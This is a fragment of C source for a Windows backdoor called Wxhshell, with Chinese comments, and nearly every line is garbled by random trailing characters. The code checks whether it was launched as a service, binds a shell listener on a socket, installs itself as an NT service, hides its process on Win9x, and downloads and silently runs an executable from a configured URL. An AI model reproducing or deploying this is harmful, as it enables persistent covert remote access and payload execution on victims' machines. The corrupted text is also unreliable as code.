ULONG InheritedFromUniqueProcessId; `MI\/oM@
} PROCESS_BASIC_INFORMATION; tbS hSbj
Cn~VJ,l
g
PROCNTQSIP NtQueryInformationProcess; yB UQ!4e
m!FuC=e
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RE>Q5#|c
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KU|W85ye
gi!_Nz
HANDLE hProcess; m_)-
PROCESS_BASIC_INFORMATION pbi; wN[lC|1c
QX=TuyO
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JwSF}kNs}
if(NULL == hInst ) return 0; Cqr{Nssu
cq
I $9
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'nTlCYT
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vi##E0,N'^
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tWIOy6`
:r
q~5hK
if (!NtQueryInformationProcess) return 0; *tqD:hiF
[7I:Dm
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dA)T>
if(!hProcess) return 0; jFN0xGZ
#]}Ii{1?Y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kv@P Uzu
)>ZT{eF
CloseHandle(hProcess); a=MN:s?Fc0
0s;~9>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xS|9Gk
if(hProcess==NULL) return 0; _.s,gX
Qt.*Z;Gs
HMODULE hMod; s5*4<VxQN.
char procName[255]; `%Ih'(ne
unsigned long cbNeeded; VIAq$iu7
EH844k8
p
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v2;E W p
+xYu@r%R
CloseHandle(hProcess); Y<T0yl?
IW\^-LI.
if(strstr(procName,"services")) return 1; // 以服务启动 D6VdgU|
JBpV'_"]
return 0; // 注册表启动 fu!T4{2
} PNm@mC_fh
\TP$2i%W
// 主模块 %+'Ex]B
int StartWxhshell(LPSTR lpCmdLine) 2K:A4)jZ
{ lj<Sa
SOCKET wsl; XM\\Imw
BOOL val=TRUE; chICc</l&
int port=0; d|R-K7 ~~
struct sockaddr_in door; `rn/H;r!Z
Jr5S8c|"
if(wscfg.ws_autoins) Install(); +?)7l
Htgo=7!?\3
port=atoi(lpCmdLine); mu\1hKq;B
lAnq2j|
if(port<=0) port=wscfg.ws_port; ,b5'<3\
f#ZM2!^!
WSADATA data; q(n"r0)=
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !=YE hQ-
a_Xwi:e<
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1m5l((d
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WWpMuB_G
door.sin_family = AF_INET; 3k'Bje?9~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6xDk3
door.sin_port = htons(port); bUcp8
=w3A{h"^
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CU|E-XPW
closesocket(wsl); LzL)qdL
return 1; L-(bw3Yr>
} X$@`4
$.D)Llcq
if(listen(wsl,2) == INVALID_SOCKET) { I0x)d`
closesocket(wsl); ,yC..aI
return 1; K<^p~'f4P
} g>t1rZ
Wxhshell(wsl); bll[E}E|3
WSACleanup(); *)RKU),3nL
6>]
return 0; g**!'T4&o
MFROAVPZ5
} #e@NV4q
:a{dWgN
// 以NT服务方式启动 _;3,
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pFH.beY
{ e%e.|+
DWORD status = 0; L;0
NR(b!
DWORD specificError = 0xfffffff; yBy7d!@2
tU?BR<q
serviceStatus.dwServiceType = SERVICE_WIN32; U,!qNi}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]EHsRd
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;U3:1hn
serviceStatus.dwWin32ExitCode = 0; 6rnFXZ\
serviceStatus.dwServiceSpecificExitCode = 0; M d4Q.8
serviceStatus.dwCheckPoint = 0; ?EC\.{
serviceStatus.dwWaitHint = 0; ;~0q23{+;U
(9`dLw5
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); deAV:c
if (hServiceStatusHandle==0) return; }W^@mi
C`r:jA<LC,
status = GetLastError(); kSV(T'#x
if (status!=NO_ERROR) :6o%x0l
{ g?80>-!bF
serviceStatus.dwCurrentState = SERVICE_STOPPED; D _dv8
serviceStatus.dwCheckPoint = 0; ,a&,R*r@&
serviceStatus.dwWaitHint = 0; +(=-95qZ
serviceStatus.dwWin32ExitCode = status; ZP~H!
serviceStatus.dwServiceSpecificExitCode = specificError; ZV--d'YiEm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =6U5^+|d
return; x1Gx9z9
} 2OUx@Vj
!-)!UQ~|8
serviceStatus.dwCurrentState = SERVICE_RUNNING; U@q5`4-!8
serviceStatus.dwCheckPoint = 0; I\TSVJk^Xi
serviceStatus.dwWaitHint = 0; "m {i`<,
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UJ,vE}=_{
} oaQW~R`_
(eF[nfM
// 处理NT服务事件,比如:启动、停止 QcrhgR
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'ge$}L}4
{ 9C)VW
switch(fdwControl) O1~7#nJ*4[
{ |@_<^cV110
case SERVICE_CONTROL_STOP: ng/h6
S
serviceStatus.dwWin32ExitCode = 0; Q~(Qh_Ff
serviceStatus.dwCurrentState = SERVICE_STOPPED; Dh4Lffy
serviceStatus.dwCheckPoint = 0; WSMpX-^e@
serviceStatus.dwWaitHint = 0; B9|s`o)!
{ 4 xqzdR_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); - BWf.
} )Wle
CS_
return; R]yce2w" z
case SERVICE_CONTROL_PAUSE: R ?s;L
r
serviceStatus.dwCurrentState = SERVICE_PAUSED; D SX%SE)
break; }>M\iPO.]*
case SERVICE_CONTROL_CONTINUE: Ye]K 74M.
serviceStatus.dwCurrentState = SERVICE_RUNNING; lD0a<L3
break; !D F~]&
case SERVICE_CONTROL_INTERROGATE: k6"(\d9o
break; E
G+/2o+W
}; YZ<zlU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qeFaY74S
} mn03KF=n]
iT:i
'\~
// 标准应用程序主函数 =~J VU
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iDcTO}
{ %Mj,\J!
aAe`o2Xs
// 获取操作系统版本 <.Zh{"$qo
OsIsNt=GetOsVer(); OK v2..8
GetModuleFileName(NULL,ExeFile,MAX_PATH); J-/w{T8:
R`]@.i4tt
// 从命令行安装 [_jw8`
if(strpbrk(lpCmdLine,"iI")) Install(); /RJ]MQ\*O
3\4e{3$
// 下载执行文件 vv&< 7[
if(wscfg.ws_downexe) { l$1?@l$j
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?,x\46]>_K
WinExec(wscfg.ws_filenam,SW_HIDE); ~]?sA{
} SW%}S*h
5 eL
b/,R
if(!OsIsNt) { Y2tVq})!
// 如果时win9x,隐藏进程并且设置为注册表启动 QuEX|h,F
HideProc(); C9?mxa*z
StartWxhshell(lpCmdLine); EVLL,x.~:z
} w0;4O)H$O
else 7[P-;8)tq
if(StartFromService()) N
{{MMIq
// 以服务方式启动 0^tY|(b3/M
StartServiceCtrlDispatcher(DispatchTable); E`.hM}h
else bvJ@H
Z$
// 普通方式启动 XYR
q"{Id
StartWxhshell(lpCmdLine); zWU]4;,"
Uhr2"Nuuy
return 0; $)@D(m,ybd
}